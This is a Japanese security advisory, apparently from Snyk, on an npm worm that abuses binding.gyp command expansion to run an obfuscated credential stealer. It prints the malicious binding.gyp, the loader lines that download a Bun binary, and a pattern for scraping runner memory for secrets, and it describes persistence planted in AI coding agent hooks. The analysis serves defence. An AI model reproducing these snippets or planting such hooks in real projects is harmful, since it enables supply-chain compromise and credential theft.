Skip to main content

Node-gypサプライチェーン侵害:binding.gypに潜む自己増殖型npmワーム

著者
feature insights announcement

2026年6月4日

0 分で読めます

セキュリティツールの多くが監視していないファイル、binding.gypを悪用したサプライチェーン攻撃が、npmレジストリ上で現在も拡大しています。監視体制が整っているpreinstallやpostinstallのライフサイクルスクリプトに頼るのではなく、マルウェアは細工したbinding.gypを仕込み、npm install時にnode-gypを起動して、攻撃者が制御するコードを自動実行します。SnykはこのインシデントをNode-gyp Supply Chain Compromise - June 2026として追跡しており、数百の悪意あるバージョンにまたがる影響パッケージ57件を確認しました。いずれも「埋め込み型悪意あるコード」として、深刻度は「重大」に分類されています。

ペイロードはnpm、GitHub、AWS、GCP、Azure、HashiCorp Vault、Kubernetesの開発者およびCI/CD認証情報を収集し、攻撃者が管理するGitHubリポジトリ経由で窃取データを送信します。さらに、永続化のためにGitHub Actionsワークフローを注入し、アクセス可能なメンテナーアカウントからパッケージを再公開して自己増殖します。このキャンペーンを最初に報告したStepSecurityは、インストール時の手法を「Phantom Gyp」と名付け、Shai-Huludワームファミリーの派生型である、より広範なキャンペーンを「Miasma」として追跡しています。

要約

攻撃の種類

侵害されたメンテナーアカウントを介したサプライチェーンワーム

新たな手法

preinstall/postinstallではなく、binding.gyp / node-gypを介してインストール時にコードを実行

Snykによる追跡情報

深刻度

重大(埋め込み型悪意あるコード)

インシデント発生日

2026年6月3日(主な波);先行するMiasma亜種は2026年6月1日

侵害されたパッケージ

57パッケージ、数百の悪意あるバージョン

ダウンロード数が最も多い被害パッケージ

@vapi-ai/server-sdk、ai-sdk-ollama

マルウェアの挙動

認証情報の窃取、GitHub Actionsへの注入、永続化、npmおよびRubyGemsでのワーム拡散

直ちに取るべき対策

安全が確認されたバージョンに固定し、npm install --ignore-scriptsを実行して、アクセス可能な認証情報をすべてローテーションする

影響を受けるパッケージ

Snykは影響を受けるパッケージを57件掲載しています。掲載された悪意あるバージョンが、現在も公開レジストリから取得可能であることを確認しました(たとえば、@vapi-ai/server-sdkの4つすべてのバージョンについて、registry.npmjs.orgから現在もtarballを取得できます)。公開日時は2026年6月3日と4日です。npmレジストリAPIの週間ダウンロード数に基づく、ダウンロード数が最も多い被害パッケージは次のとおりです。

パッケージ

週間ダウンロード数

悪意あるバージョン

約86,500(api.npmjs.org)

0.11.1、0.11.2、1.2.1、1.2.2

約36,900(api.npmjs.org)

0.13.1、1.1.1、2.2.1、3.8.5

約5,900(api.npmjs.org)

2.26.4、3.4.3

約280(api.npmjs.org)

1.33.3

57件のパッケージの大半は、単一のnpmアカウントに集中しています。レジストリを調べると、25件すべてのautotelおよびautotel-*パッケージで、メンテナーがjagreehalに共通していることが分かります。このアカウントは@jagreehal/*スコープとawaitlyも公開しています。単一アカウントへのこの集中は、侵害されたアカウントからアクセス可能なものをすべて列挙し、再公開するワームの挙動と一致します。

  • autotel-*ファミリー(24パッケージとautotel本体):autotel-mcp(0.1.14から29.0.1までのバージョンを含む)、autotel-subscribers、autotel-terminal、autotel-mongoose、autotel-eventcatalog、autotel-devtools、autotel-aws、autotel-cloudflare、autotel-hono、autotel-playwright、autotel-sentryなど

  • eslint-plugin-executable-stories-*ファミリー(Snykは以前、ESLint-plugin npmサプライチェーンマルウェアを取り上げています)

  • @jagreehal/*パッケージ

  • @evolvconsulting/evolv-coder-lite

バージョン番号が不自然に大きくなっているケース(たとえば、autotel-mcpが29.xにまで跳ね上がったり、6月4日の同じ1分間にautotelの2.26.4と3.4.3の両方が公開されたり)は、正規のリリースではなく、ワームによる自動再公開の副産物です。パッケージと影響を受けるバージョンの完全な一覧は、Snykのインシデントページで継続的に更新されています。

修復にあたって重要な点があります。一部のパッケージではlatestのdist-tagが、すでにクリーンなリリースを指すように戻されています(autotelの場合、latestは悪意あるバージョンより前に公開された3.4.2を指します)。ただし、悪意あるバージョンは公開取り下げされていません。この記事の執筆時点でも、autotel@3.4.3とautotel@2.26.4のtarballは取得可能です。新たにnpm install autotelを実行するとクリーンなバージョンが取得される可能性がありますが、悪意あるバージョンを参照するロックファイル、バージョンの厳密な固定、または推移的依存関係があれば、マルウェアは引き続き取得されます。latestタグがクリーンだからといって、安全だと判断しないでください。

攻撃の仕組み

新たな手法:binding.gypを介したインストール時の実行

binding.gypファイルを含み、対応するプリビルドバイナリがないパッケージに対してnpm installを実行すると、npmはパッケージをnode-gypに渡し、ネイティブC/C++アドオンと想定されるものをコンパイルするためにnode-gyp rebuildを実行します。これはネイティブコンポーネントを含むパッケージでは通常の想定どおりの動作であり、package.jsonのどこにもpreinstallやpostinstallの記述がなくても発生します。

GYPのビルド設定構文は、コマンド展開に対応しています。<!(...)形式は設定フェーズ中にシェルコマンドを実行し、その出力をビルド定義に挿入します。侵害されたパッケージは、これを直接悪用します。以下は、@vapi-ai/server-sdk@1.2.2とautotel@3.4.3に含まれていた、正確に157バイトのbinding.gypです(調査したパッケージ間でバイト単位まで同一でした)。

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

<!(node index.js ...)式は、node-gypがビルドを設定している段階でnode index.jsを実行します。コンパイラーが動き始めるよりずっと前のことです。"type": "none"ターゲットでは実際には何もコンパイルされないため、コマンド展開の副作用であるindex.jsの実行こそが本来の目的です。出力は/dev/nullにリダイレクトされるため、インストールは正常に見えます。またecho stub.cは、GYPが明白なエラーを出さずに処理を続けられるよう、もっともらしいソースファイル名を返します。その結果、通常のnpm install中に任意のコードが実行されます。

重要なのは、これらのtarball内のpackage.jsonにpreinstall、postinstall、install、prepareのスクリプトが含まれていない点です。scriptsにあるのはbuild、lint、test、formatといった通常の開発タスクだけで、"gypfile": trueの宣言さえありません。スクリプトに着目するツールが検知できるものはpackage.jsonにはなく、binding.gypファイルが存在するだけで、npmはnode-gypを自動的に呼び出します。

ペイロード:Bunを利用した多段階ローダー

binding.gypが起動するindex.jsは、4.5 MBの難読化ローダーです。公開されたtarballから実行せずに外側のレイヤーを静的に解析し、次の一連の処理を確認しました。

  1. ROT-14シーザー暗号。ファイル全体は、約130万個の文字コードを並べた配列に対する単一のevalで、配列を文字列に変換してから14文字分ずらします。目に見えるラッパーは、文字どおりeval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14))です。

  2. AES-128-GCMによる自己復号レイヤー。復号された段階はasync IIFEで、node:cryptoを読み込み、aes-128-gcmの復号器(16バイトの認証タグを使うcreateDecipheriv)を定義します。その後、16進数形式のキー、IV、認証タグがコード内にハードコードされた、埋め込み型の暗号文ブロブ2つを復号します。

  3. Bunランタイムローダー(907バイトのブロブ)。最初に復号されたブロブはOSとアーキテクチャを検出し、公式のoven-sh/bun GitHubリリースからスタンドアロンのBun v1.3.13バイナリを一時ディレクトリにダウンロードして実行します。

 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
chmodSync(exe,"755")
  1. メインペイロード(約649 KBのブロブ)。2つ目に復号されたブロブ(664,535バイト)は、窃取処理そのものです。インストールを開始したNode.jsプロセスではなく、ダウンロードされたBunバイナリ上で実行されます。

インストールを開始したnodeプロセスではなく、ダウンロードしたBunバイナリ上でコアロジックを実行するのは、意図的な検知回避です。npm install中のNode.js子プロセスだけを監視していても、実際の処理を行うBunプロセスは検知できません。また、index.jsを平文文字列でスキャンしても認証情報やC2の痕跡が見つからない理由もこれで説明できます。そうした挙動は、Bunで実行されるブロブ内にあります。最終段階のBunは実行していないため、以下の挙動一覧は公開されている解析結果に基づいています。

認証情報の収集

実行されると、ペイロードは開発者やCI/CD環境をくまなく調べ、次の情報を標的にします。

  • AWS:aws_access_key_id / aws_secret_access_key、およびIMDSv2メタデータエンドポイント(169.254.169.254)

  • GCP:GOOGLE_APPLICATION_CREDENTIALSおよびサービスアカウントキー

  • Azure:IMDS経由のマネージドIDトークン

  • GitHub Actions:ACTIONS_ID_TOKEN_REQUEST_TOKENに加え、ランナープロセスのメモリをスクレイピング

  • HashiCorp VaultおよびKubernetes:標準パスにあるサービスアカウントトークン

  • パスワードマネージャー:1Password、pass、gopassのストア

GitHub Actionsでは、ペイロードがランナーのプロセスメモリをスクレイピングし、マスクされたシークレットをマスク解除された形で取り出します。たとえば、次のようなパターンが使われます。

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

GitHub Actionsのシークレットマスキングは、ログ内のシークレットを伏せ字にしますが、ランナーのメモリを直接読み取れるプロセスからシークレットを守るものではありません。ランナーが参照できるシークレットはすべて、漏えいしたものとして扱ってください。

GitHubリポジトリ経由の窃取データ送信

マルウェアは固定のC2ドメインを使わず、GitHub自体をランデブーポイント兼デッドドロップとして利用します。この活動は、GitHubアカウントliuende501(執筆時点で321件の公開リポジトリを保有。api.github.com/users/liuende501)と関連づけられています。これは、盗んだデータを受け取るためにワームがプログラムでリポジトリを作成するパターンと一致します。処理の流れは次のとおりです。

  1. ハードコードされたキーワードで公開コミットを検索し、ランデブーポイントを見つける

  2. ランダムな名前を付けてリポジトリをその場で作成する

  3. 暗号化した収集データをresults/results-{timestamp}.jsonとしてアップロードする

  4. python-requests/2.31.0のUser-Agentを付けてAPIリクエストを送信する

GitHubを窃取データの送信先に使うと、開発環境やCI環境でgithub.comやapi.github.comへの外向き通信がブロックされることはほとんどないため、通常の開発・CI通信に紛れ込みます。

エコシステムをまたぐワームの拡散

ペイロードは自己拡散型で、エコシステムごとに異なるエンジンを備えています。

  • npmワーム:registry.npmjs.org/-/v1/search?text=maintainer:{username}を使ってメンテナーのパッケージを列挙し、対象をダウンロードして悪意あるbinding.gypとindex.jsを注入し、再公開します。このファミリーの過去の波(SLSA来歴証明が有効な、初の悪意あるnpmパッケージを取り上げたSnykのTanStackに関する解説を参照)と同様に、ワームはFulcioとRekorを通じてSigstoreの来歴証明も偽造し、再感染したパッケージが正規の署名付きに見えるようにします。

  • RubyGemsワーム:RubyGemsのネイティブ拡張ビルドフックであるextconf.rbに同等のロジックを注入し、同じBunダウンローダーを再利用します。extconf.rbはRubyGemsにおいて、npmのbinding.gypに相当します。どちらもビルド時に自動実行されるファイルであり、ライフサイクル上の「スクリプト」ではありません。

  • GitHubリポジトリの汚染:窃取したトークンで書き込み可能なリポジトリにバックドアファイルをコミットします。AIコーディングエージェントやエディターのフック(.claude/、.cursor/rules/、.vscode/tasks.jsonなど)も含まれ、開発者がプロジェクトを開くとペイロードが再実行されます。

npmとRubyGemsという複数のエコシステムにまたがること、そしてどちらでもビルド時拡張ファイルを悪用することが、このキャンペーンの特徴です。インストールまたはビルド時に自動実行されるのに、「スクリプト」とは分類されていないファイルを見つけ出すのです。

影響分析

直接的な影響範囲は、npm installを実行し、影響を受けるバージョンのパッケージを解決したすべての開発者マシンまたはCIランナーです。CI/CD環境は最もリスクが高くなります。ランナーのメモリをスクレイピングするため、明示的に環境変数として渡されたものだけでなく、ランナーがアクセスできるすべてのシークレットが漏えいしたと見なす必要があります。

開発者マシンには、エディターやAIエージェントのフックを介した二次的かつ長期的なリスクがあります。これらは通常のnpm uninstallでは削除されず、次のセッションでペイロードを再実行します。

キャンペーンのピーク時と比べると、さらなる拡散の可能性は低いとみられます。影響を受けたパッケージは少数のメンテナーアカウントに由来しており(autotelおよびautotel-*の全25パッケージが単一のアカウントjagreehalを共有していることを確認しました)、最近、新たな侵害リリースは確認されていません。ただし、悪意のあるバージョンは引き続きnpmからインストール可能です。完全に削除される前に、直接または依存関係を介して取得した場合のリスクは残っています。

検出

Snykでスキャンする。Snykは影響を受けたバージョンについてSnyk Vulnerability Databaseでアドバイザリを公開し、security.snyk.io/node-gyp-supply-chain-compromise-june-2026にインシデントページを開設しました。プロジェクトをスキャンしてください。

snyk test

特定のマニフェストまたはロックファイルをスキャンするには:

snyk test --file=package-lock.json

パッケージ名だけでなく、手法を探す。実行経路はbinding.gypであるため、パッケージリストに依存せずに検索できます。

# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor / AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

ネットワークおよび振る舞いの指標:

  • 正当なネイティブアドオンを含まないパッケージでnode-gyp rebuildが実行されている

  • npm install中に予期しない子プロセス(curl、unzip、bun)が起動する

  • Bunを要求していないのに、インストール中にoven-sh/bunのリリースから単体のbunバイナリがダウンロードされる

  • PythonプロセスではないCIステップから、User-Agentがpython-requests/2.31.0のGitHub API呼び出しが発生する

修復

影響を受けたかどうか確信が持てない場合は、侵害が確認されたものとして対処してください。窃取されたデータは外部送信前に暗号化されるため、事後に何が持ち出されたかを判断することはできません。

ステップ1:トークンをローテーションする前に永続化を削除する。エディターまたはAIエージェントのフックが仕込まれている場合は、認証情報の変更に反応できないよう、まずそれらを削除してください。

# Inspect and remove injected hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
rm -rf .cursor/rules/setup.mdc 2>/dev/null

ステップ2:クリーンアップし、安全性が確認されたバージョンで再インストールする。

rm -rf node_modules
# Pin affected packages to known-good versions in package.json, then:
npm install --ignore-scripts

--ignore-scriptsを使うと、binding.gypを含むパッケージに対するnpmの暗黙的なnode-gyp再ビルド用インストールフックをブロックできます。ただし、これだけを唯一の防御策と見なしてはいけません。悪意のあるパッケージ自体は取得・展開される可能性があり、別のツールや、--ignore-scriptsを指定しない後続のnpm rebuildによってビルドされることもあります。また、他のパッケージマネージャーやワークフローでは挙動が異なる場合があります。より安全な修復方法は、悪意のあるバージョンを固定または削除し、ビルド工程の前にスキャンすることです。

ステップ3:影響を受けたマシンまたはランナーからアクセス可能な認証情報をすべてローテーションする:

  • npm公開トークン

  • GitHubの個人用アクセストークンとActionsシークレット(リポジトリおよび組織スコープ)

  • AWSアクセスキー、および影響を受けたランナーからアクセス可能なIAMロール

  • GCPサービスアカウントキー

  • AzureサービスプリンシパルとマネージドIDのスコープ

  • HashiCorp Vaultトークン

  • Kubernetesサービスアカウントトークン

  • 標的となったパスワードマネージャーの保管庫内にあるすべての情報(1Password、pass、gopass)

ステップ4:GitHubを監査し、挿入されたワークフローとデッドドロップ用リポジトリを探す。

# Look for unexpected workflow files or branches added recently
git log --oneline --all -- .github/workflows/

# Repositories created on your account without your action
gh repo list --json name,createdAt --limit 200

ステップ5:次の攻撃に備えて強化する。

  • CIではデフォルトでnpm install --ignore-scriptsを使用し(インストール時攻撃全般へのベストプラクティス)、スキャンゲートと併用する

  • ロックファイルの整合性ハッシュを使い、依存関係を厳密なバージョンに固定する

  • 公開から数日以内のパッケージをビルドに使用する前に保留する、レジストリのクールダウンポリシーを検討する

  • CI/CDトークンに最小権限のスコープを適用し、トークンが1つ窃取されても影響範囲を小さく抑える

  • Snykを使って依存関係ツリーを継続的に監視し、悪意のあるパッケージが特定されたらすぐに把握する

Snykのnpmサプライチェーン攻撃を防ぐためのガイドでは、より包括的なチェックリストを紹介しています。

全体像:Shai-Huludの亜種

これはShai-Hulud / Miasmaの系譜に連なる最新の波です。2025年後半以降、npmレジストリを繰り返し襲ってきた自己増殖型ワームの一群です。Snykは2026年6月に発生した、Red Hatのnpmパッケージを標的としたMiasmaの先行攻撃についても取り上げました。これらの攻撃で使われた情報流出用リポジトリには、以前のShai-Huludキャンペーンに直接言及する説明が記されています。各攻撃では、難読化されたBunランタイムベースの窃取ツールが再利用され、新たな永続化手法や情報流出経路、インストール時またはビルド時にコードを自動実行させる新たな方法が追加されてきました。注目すべきは、この自動実行手法の進化です。

  • 初期の攻撃ではpreinstall / postinstallライフサイクルスクリプトが使われていました

  • その後の攻撃では、永続化のためにAIコーディングエージェントのフック(SessionStart)やIDEのフォルダーを開いたときに実行されるタスクが追加されました

  • 今回の攻撃では、初回の実行をbinding.gyp / node-gyp(RubyGemsではextconf.rb)に移しています。これらはビルド時のファイルであり、ライフサイクルスクリプトではありません。

Snykは、このキャンペーンと同系列の過去の攻撃について詳しく解説しています。

今回のインシデントの起源となったワーム群の概要:

Snykのセキュリティリサーチャーが、Mini Shai-Hulud npmサプライチェーンワームとその拡散方法を解説 Mini Shai-Hulud:2026年最も巧妙なNPMサプライチェーン攻撃(Shai-Hulud / Miasmaワーム群とその自己増殖の仕組みを解説)

Snykを使って、このキャンペーンと同系列の侵害パッケージを見つけて修復する手順については、こちらをご覧ください。

Snykのセキュリティエンジニアが、Snyk CLIを使ってShai-Huludに侵害されたnpmパッケージを特定し、修復する方法を実演 Shai-Hulud NPM攻撃:Snykを使った修復 - Snykのツールを使って侵害パッケージを特定し、修復する手順を解説します。

正規の信頼できるパッケージの侵害が、より広範なサプライチェーン脅威モデルの中でどのような位置づけにあるかを知るには、Snyk Learnの正規パッケージの侵害レッスンが参考になります。

タイムライン(UTC)

日付

出来事

2026年6月1日

先行するMiasma亜種が、別のnpmパッケージ群(Red Hat関連)を侵害

2026年6月3日

主な攻撃:@vapi-ai/server-sdkと、autotel、eslint-plugin-executable-stories、@jagreehalの各パッケージ群に属する数十のパッケージが、短時間に自動化された一連の攻撃で侵害される

2026年6月3日以降

「Phantom Gyp」手法の技術分析が公開され、Snykがアドバイザリとリアルタイムのインシデントページを公開

継続中

調査は継続中。悪意のあるバージョンは削除されるまでnpmで引き続き入手可能

Snykの対応

Snykは影響を受けたバージョンについてSnyk Vulnerability Databaseでアドバイザリを公開し、全57パッケージと悪意のあるバージョンを一覧にしたインシデントページを公開しています。Snykのお客様は、SDLC全体でSnykのスキャンを利用して、影響を受けたバージョンを直接または依存関係経由で取り込んでいるプロジェクトを特定し、リスクに基づいて修復の優先順位を決定できます。

Snyk Vulnerability DBをチェック

信頼できるデータと実用的なインサイトで、安全なソフトウェア開発を支援します。